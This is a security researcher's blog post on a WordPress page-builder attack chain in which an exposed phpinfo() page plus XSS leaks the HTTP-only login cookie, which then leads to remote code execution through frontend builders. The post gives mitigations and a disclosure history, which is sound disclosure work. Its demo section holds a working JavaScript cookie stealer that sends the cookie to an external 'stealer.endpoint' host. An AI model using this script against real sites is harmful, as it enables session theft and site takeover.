WordPress Builders: journey from phpinfo() to RCE

In the context of the recent surge in attention towards a critical Remote Code Execution (RCE) flaw in Brick Builder, I want to shed light on a less-known issue I discovered and reported two years ago. This flaw, which has been quietly addressed in versions around 1.6, affects not only Brick Builder but also other popular builders such as Breakdance, Divi, and Oxygen. Despite reporting it in 2021, the other builders have not yet remedied the vulnerability. Although the exploit is much more complex, I find the attack vector very interesting.

The Vulnerability Explained

For exploitation, several criteria must be met:

  1. Presence of an accessible PHPinfo() output script (common issue).
  2. Existence of Cross-Site Scripting (XSS) vulnerabilities on the site (pretty common: Patchstack DB).
  3. Code execution enabled in the builders.

In most cases, therefore, this problem does not pose an immediate threat.

The essence of this vulnerability lies in the exposure of PHP info, which, under specific conditions, can escalate to RCE. This is primarily because phpinfo() can reveal WordPress authentication cookies that are otherwise secured by HTTP-only flags, thereby preventing JavaScript access.

Yes, you read that right – displaying phpinfo() can lead to RCE. I’ve mentioned this several times in my talks, but I don’t think anyone took it too seriously…

Understanding WordPress Authentication

WordPress doesn’t use regular PHP sessions, but a combination of identification in cookies and a stored session in the WordPress database, where IP, browser and login expiration information is stored (wp_usermeta – session_tokens).

WordPress uses 2 cookies:

  • wordpress_logged_in_*: Recognizes logged-in users across the site – both frontend and administration.
  • wordpress_sec_*: It is set for /wp-admin only

The dual-cookie strategy was initially a workaround for limited SSL certificate usage (you could use self-signed SSL for admin only and left frontend without it), but it is enhancing security by distinguishing between front-end and admin access too.

The Exploit Pathway

The exploitation hinges on bypassing the HTTP-only flag protection via a phpinfo() script, which, when combined with XSS in any plugin, allows attackers to seize the wordpress_logged_in_* cookie. This cookie is crucial as it enables unauthorized site editing through the builders’ frontend interfaces, leading to potential full site compromise.

Demo

The JS “Cookie” Stealer example:

var req = new XMLHttpRequest();
req.open("GET", "/info.php", true);
req.responseType = "text";
req.onload = function (event) {
  var xtext = req.responseText;
  xtext = xtext.match("/.*(wordpress_logged_in[^;]+);.*/")[1]
  var img = document.createElement("img");
  prompt('Your secret cookie',xtext);
  img.src = "https://stealer.endpoint/steal.php?"+xtext;
};
req.send();

This javascript read the file with phpinfo() output with ajax request, parse its text to find wordpress_logged_in_* cookie and send it to the external server in GET parameter (the prompt is there just for debug).

On a standard WordPress site, having just this one cookie won’t let someone into the admin area, so the risk of harm is low. The wordpress_sec_* cookie, which is needed for admin access, can only be grabbed if there’s another phpinfo() script inside the wp-admin folder.

This is where builders that work on the front of the site, not inside /wp-admin, become important to think about.

It is worth mention that custom PHP applications that use only one session cookie are more susceptible to this attack than WordPress.

Examples of frontend addresses for running various builders

Mitigation Strategies

From a builder’s perspective, this issue can be addressed by:

  1. Verifying admin access via admin-ajax before launching the builder.
  2. Relocating the editing interface to within the wp-admin area.

Users can protect themselves by ensuring no unnecessary files, for example those with phpinfo() output, are left on their sites.

Current status

I demonstrated this problem at WordCamp Prague 2021 (Czech language), highlighting the ongoing risks and the importance of vigilance in web security.

In Feb 2021 I reported this problem to the Oxygen team (the same developers who develop Breakdance). They replied that they will pass it on to the devel team, but it has never been fixed even after my urging.

At the same time I reported it to Elegant Themes, but I got no answer.

After my first experience with Bricks Builder in July 2022 I found the same problem and reported it. After several releases it was fixed.


Discover more from Vladimir Smitka

Subscribe to get the latest posts sent to your email.

One response to “WordPress Builders: journey from phpinfo() to RCE”

  1. Work in progress: 12 things we do for better WordPress security – Vladimir Smitka

    […] WordPress Builders: journey from phpinfo() to RCE […]

    Like

Leave a comment

About Me

My name is Vladimir Smitka and I’m a security researcher/hobbyist from the Czech Republic. I’m also the owner of Lynt, a PPC Agency. I’m also an active member of the Czech WordPress community and one of the WordCamp Prague organizers.

OPEN .GIT GLOBAL SCAN

  • 230 000 000 sites scanned 🔍
  • 390 000 sites affected 😥
  • 100 000 mail send to the developers 📧
  • 150 000+ sites fixed 
  • 100+ possitive comments 🗨️
  • 3500+ thankyou mails ❤️
  • Thousands and thousands sites with another serious issue found 😑

For my research I use affordable Virtual Private Servers from Digital Ocean (they have a great infrascruture), Linode (they have a great understanding for my work) and dedicted servers from Hetzner.

If you like my research, you can make a small donation for coffee and VPS – two basic ingredients for my future security scans.

Follow me

Our Projects

Latest Articles